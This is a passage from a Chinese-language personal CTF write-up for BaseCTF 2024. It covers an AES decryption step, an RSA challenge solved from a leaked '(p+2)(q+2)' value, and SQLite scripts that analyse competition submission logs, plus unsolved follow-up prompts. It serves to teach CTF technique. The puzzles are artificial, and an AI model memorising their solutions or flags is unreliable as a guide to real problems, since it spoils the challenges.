ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'
# 将 key1 转换为字节
key = long_to_bytes(key1)
# 创建 AES 解密器
my_aes = AES.new(key=key, mode=AES.MODE_ECB)
# 解密并取消填充
plaintext = unpad(my_aes.decrypt(ciphertext), AES.block_size)
# 输出解密后的明文
print(plaintext.decode())

ez_rsa#

下载下来还是Python代码

from Crypto.Util.number import *
import gmpy2
m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}')
e=65537
p=getPrime(512)
q=getPrime(512)
n=p*q
not_phi=(p+2)*(q+2)
c=pow(m,e,n)
print(n)
print(not_phi)
print(c)
'''
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
'''

题目里特意告诉你那个是not_phi,然而我们可以算出phi_n

所以我们可以得到

然后写成代码就行了

from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse
e = 65537
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
# 计算 φ(n)
phi_n = (3 * n - not_phi + 6) // 2
print("φ(n):", phi_n)
# 计算私钥 d
d = mod_inverse(e, phi_n)
if d:
# 解密消息
m = pow(c, d, n)
# 将解密后的长整型数转换为字节
flag_bytes = long_to_bytes(m)
print("解密后的消息:", flag_bytes.decode())
else:
print("无法计算私钥 d。")

PPC (Practical Programming and Coding)#

BaseCTF 崩啦 - 导言#

本题为系列题目, 请按照题目名称中顺序进行解答获得最佳体验


悲报~ BaseCTF 崩溃啦!

7w 条提交记录, 服务器顶不住计算排行榜的压力, 崩溃啦!

Kengwang 拼尽全力抢救下来了数据和日志, 他悬赏了几个 Flag, 找到人能够对这些数据进行处理.

此题目为导言题, 请下载附件, 阅读其中的 readme.txt, 系列题目的附件不变动

数据处理#

刚好导言没有什么要求,我们先过一遍数据,因为如果从json中去搜索数据的话太慢了,所以我这里用了sqlite来搜索数据,也同时利用SQL的高效性

我写了一个Python脚本来帮我进行数据的处理

import sqlite3
import json
import re
from tqdm import tqdm
from datetime import datetime, timezone, timedelta
# Create database file
with open("data.db", "w", encoding="utf8") as f:
pass
def time2ts(TIME_STRING: str) -> int:
"""
This is a function that can convert the time expression to timestamp
Parameter:
TIME_STRING(str): The time string
Returns:
int: The timestamp of the time string
"""
time_str = TIME_STRING
# Transfer timestring to datetime format time
dt = datetime.fromisoformat(time_str)
# Change time to UTC
timestamp = dt.timestamp()
return timestamp
def time2tsFromSubmission(TIME_STRING: str) -> int:
# Transfet to datetime object
dt_naive = datetime.strptime(TIME_STRING, "%Y/%m/%d %H:%M:%S")
# Process timezone information
timezone_offset = timedelta(hours=8) # +08:00 UTC+8
dt_with_timezone = dt_naive.replace(tzinfo=timezone(timezone_offset))
# Change to timestamp
timestamp = dt_with_timezone.timestamp()
return timestamp
# Create database connection
conn = sqlite3.connect("data.db")
def importChallenges(challengeFilePath: str) -> None:
# Create challenges table
# id(PRIMARY), name, point, endat
command = "CREATE TABLE challenges (id TEXT PRIMARY KEY, name TEXT, point INTEGER, endat TEXT);"
cursor = conn.cursor()
cursor.execute(command)
conn.commit()
# Read challenges from file
with open(challengeFilePath, "r", encoding="utf8") as f:
challenges = json.loads(f.read())
# Insert challenges one by one
for challenge in tqdm(challenges):
challengeId = challenge["Id"]
challengeName = challenge["Name"]
challengePoints = challenge["Points"]
challengeEndAt = time2ts(challenge["EndAt"])
command = "INSERT INTO challenges (id, name, point, endat) VALUES (?, ?, ?, ?)"
cursor.execute(
command, (challengeId, challengeName, challengePoints, challengeEndAt)
)
conn.commit()
def importFlags(flagFilePath: str) -> None:
# Create flags table
# flag(PRIMARY), teamId, challengeId
command = (
"CREATE TABLE flags (flag TEXT PRIMARY KEY, teamId TEXT, challengeId TEXT)"
)
cursor = conn.cursor()
cursor.execute(command)
conn.commit()
# Read flags from file
with open(flagFilePath, "r", encoding="utf8") as f:
flags = json.loads(f.read())
# Insert flags on by one
for flag in tqdm(flags):
flagContent = flag["Flag"]
flagTeam = flag["TeamId"]
flagChallenge = flag["ChallengeId"]
command = "INSERT INTO flags (flag, teamId, challengeId) VALUES (?, ?, ?)"
cursor.execute(command, (flagContent, flagTeam, flagChallenge))
conn.commit()
def importSubmissions(submissionFilePath: str) -> None:
# Create submission table
# team, challenge, flag, who, ip, time
command = "CREATE TABLE submissions (team TEXT, challenge TEXT, flag TEXT, who TEXT, ip TEXT, time INGETER)"
cursor = conn.cursor()
cursor.execute(command)
conn.commit()
# Read submission from file
with open("submissions.log", "r", encoding="utf8") as f:
lines = f.readlines()
# Extract data from line and insert into database
# [2024/8/31 15:12:50 +08:00 INF] FlagChecker: 队伍 [Aida Bartoletti] 提交题目 [[Week2] ez_crypto] 的答案 [BaseCTF{400e0fde-cc12-3cf8-fbfd-32ae7bfd60e6}] <Merl.Smitham39> @ 108.237.78.233
for line in tqdm(lines):
# Extract time
time = re.search(
r"\[\d{4}/\d{1,2}/\d{1,2} \d{1,2}:\d{1,2}:\d{1,2} \+\d{2}:\d{2} INF\]", line
)
time = time.group().strip("[]") if time else ""
time = time2tsFromSubmission(time.replace(" +08:00 INF", ""))
# Extract team name
team = re.search(r"队伍 \[(.+?)\]", line)
team = team.group(1) if team else ""
# Extract challenge name
challenge = re.search(r"题目 \[\[Week\d\](.+?)\]", line)
week = re.findall(r"\[Week\d\]", line)[0]
challenge = week + " " + challenge.group(1).strip() if challenge else ""
# Extract flag
flag = re.search(r"BaseCTF\{[^\}]+\}", line)
flag = flag.group() if flag else ""
# Extract who submit the flag
who = re.search(r"<([^<>]+)> @ \d+\.\d+\.\d+\.\d+$", line)
who = who.group(1) if who else ""
# Extract the ip address
ip = re.search(r" @ (\d+\.\d+\.\d+\.\d+)", line)
ip = ip.group(1) if ip else ""
command = "INSERT INTO submissions (team, challenge, flag, who, ip, time) VALUES (?, ?, ?, ?, ?, ?)"
cursor.execute(command, (team, challenge, flag, who, ip, time))
conn.commit()
def importTeamsAndUsers(teamsFilePath: str) -> None:
# Create teams table
# id(PRIMARY), name, member1, member2
command = "CREATE TABLE teams (id TEXT PRIMARY KEY, name TEXT, member1 TEXT, member2 TEXT)"
cursor = conn.cursor()
cursor.execute(command)
command = "CREATE TABLE users (id TEXT PRIMARY KEY, name TEXT)"
cursor.execute(command)
conn.commit()
# Read teams from file
with open(teamsFilePath, "r", encoding="utf8") as f:
teams = json.loads(f.read())
# Insert team data into database
for team in tqdm(teams):
teamId = team["Id"]
teamName = team["Name"]
member1 = team["Members"][0]["Id"]
member2 = None
command = "INSERT INTO users (id, name) VALUES (?, ?)"
cursor.execute(
command, (team["Members"][0]["Id"], team["Members"][0]["UserName"])
)
if len(team["Members"]) == 2:
member2 = team["Members"][1]["Id"]
cursor.execute(
command, (team["Members"][1]["Id"], team["Members"][1]["UserName"])
)
command = "INSERT INTO teams (id, name, member1, member2) VALUES (?, ?, ?, ?)"
cursor.execute(command, (teamId, teamName, member1, member2))
conn.commit()
if __name__ == "__main__":
importChallenges("challenges.json")
importFlags("flags.json")
importSubmissions("submission.log")
importTeamsAndUsers("teams.json")

经过了大约40分钟,数据就成功导入到sqlite数据库了

BaseCTF 崩啦 II - 过期了?#

Damien Schroeder 队的队长反映为什么他提交正确后却没有总分增加? 一定是过了截止时间了! 看看他有哪些题目是在截止时间后提交的吧.

请获取到他们所有在截止时间后提交的题目的 Id, 按照提交顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值

Flag 格式: BaseCTF{计算得到的 MD5}

用Python写一个脚本即可,但是要注意按照提交时间排序

因为所有的题目的截止时间是一样的,所以直接按照一个题目的时间算就可以了

import sqlite3
import hashlib
# Create sqlite3 connection
conn = sqlite3.connect("data.db")
def getChallengeExpireTimeFromName(challenge: str) -> int:
# Function for getting expire time of the challenge
cursor = conn.cursor()
command = "SELECT endat FROM challenges WHERE name=?"
cursor.execute(command, (challenge,))
time = int(cursor.fetchone()[0].replace(".0", ""))
return time
def getTeamSubmissionsFromTeamName(team_name: str) -> list:
# Function for getting submission of the team
cursor = conn.cursor()
command = "SELECT time, challenge FROM submissions WHERE team=?"
cursor.execute(command, (team_name,))
submission_list = cursor.fetchall()
return submission_list
def getChallengeIdFromName(challenge_name: str) -> str:
# Function for getting challengeId from name
cursor = conn.cursor()
command = "SELECT id FROM challenges WHERE name=?"
cursor.execute(command, (challenge_name,))
challenge_id = cursor.fetchone()[0]
return challenge_id
if __name__ == "__main__":
# All the expire time are the same, so use one as all
expire_time = getChallengeExpireTimeFromName("[Week3] ez_log")
submission_list = getTeamSubmissionsFromTeamName("Damien Schroeder")
# Get all expired challenges
expired_challenge_list = []
submission_list.sort(key=lambda x: x[0]) # Sort by submit time
for submission in submission_list:
if submission[0] > expire_time:
print(submission[0], expire_time, submission[1])
expired_challenge_list.append(submission[1])
# Get all ids of expired challenges
expired_challenge_id_list = []
for challenge in expired_challenge_list:
expired_challenge_id_list.append(getChallengeIdFromName(challenge))
# Connect all the challenge ids with comma
expired_challenge_id_string = ""
for challenge_id in expired_challenge_id_list:
if expired_challenge_id_string == "":
expired_challenge_id_string += challenge_id
else:
expired_challenge_id_string += "," + challenge_id
# Calculate MD5
result = hashlib.md5(expired_challenge_id_string.encode()).hexdigest()
print(f"BaseCTF\{{result}\}")

BaseCTF 崩啦 III - 帮我查查队伍的解题#

{% note warning %}

该系列后面的题目我放下面,因为没什么时间做了,就没有题解了

{% endnote %}

Jailyn32: 你好, 我是 Rick Hyatt 队伍的队长, 你能帮我看看我们队伍现在还有哪些题目没有解出吗?

急急急急急急! 他们队伍有哪些题目没有解出呢?

请获取到他们所有没有做对和解出的题目的 Id, 按照题目 json 原本的顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值

Flag 格式: BaseCTF{计算得到的 MD5}

BaseCTF 崩啦 IV - 排排坐吃果果#

越来越多的人来查询了,我们还是放一个排行榜出来吧

你需要对所有有效队伍的提交分数加和,按照分数从大到小排序(同分按照队伍名称字母顺序(ASCII从小到大)排序)。规定前三血 不 额外加分。可能存在得零分的队伍,这些队伍 也要 出现在结果中。

排序完成后按照 队伍名,分数;队伍名,分数;队伍名,分数;...... 拼接,最后一个队伍分数后面不加分号,计算拼接好后的 md5 (小写)。

Flag 为: BaseCTF{小写的md5结果}

BaseCTF 崩啦 V - 正义执行#

什么, 有队伍竟然在明目张胆的作弊 (提交其他队伍 Flag), 看我正义执行, 两个队伍都 ban 掉!

请找出所有未参与作弊的队伍, 将他们的队伍名字按照字典序排列, 使用西文逗号分割, 计算其 MD5 (全小写)

Flag 格式: BaseCTF{MD5 值}

BaseCTF 崩啦 VI - 流量检测?#

什么, 你居然在不同的 IP 提交了 Flag? 难道你会瞬移?

请给出所有提交的 IP 变更的队伍, 队伍名称按照字典顺序排序, 用西文逗号拼接, 计算其 MD5

Flag 格式: BaseCTF{计算出来的 MD5}

BaseCTF2024 个人Writeup
https://bili33.top/posts/basectf2024-writeup/
作者
GamerNoTitle
发布于
2024-08-30
许可协议
CC BY-NC-SA 4.0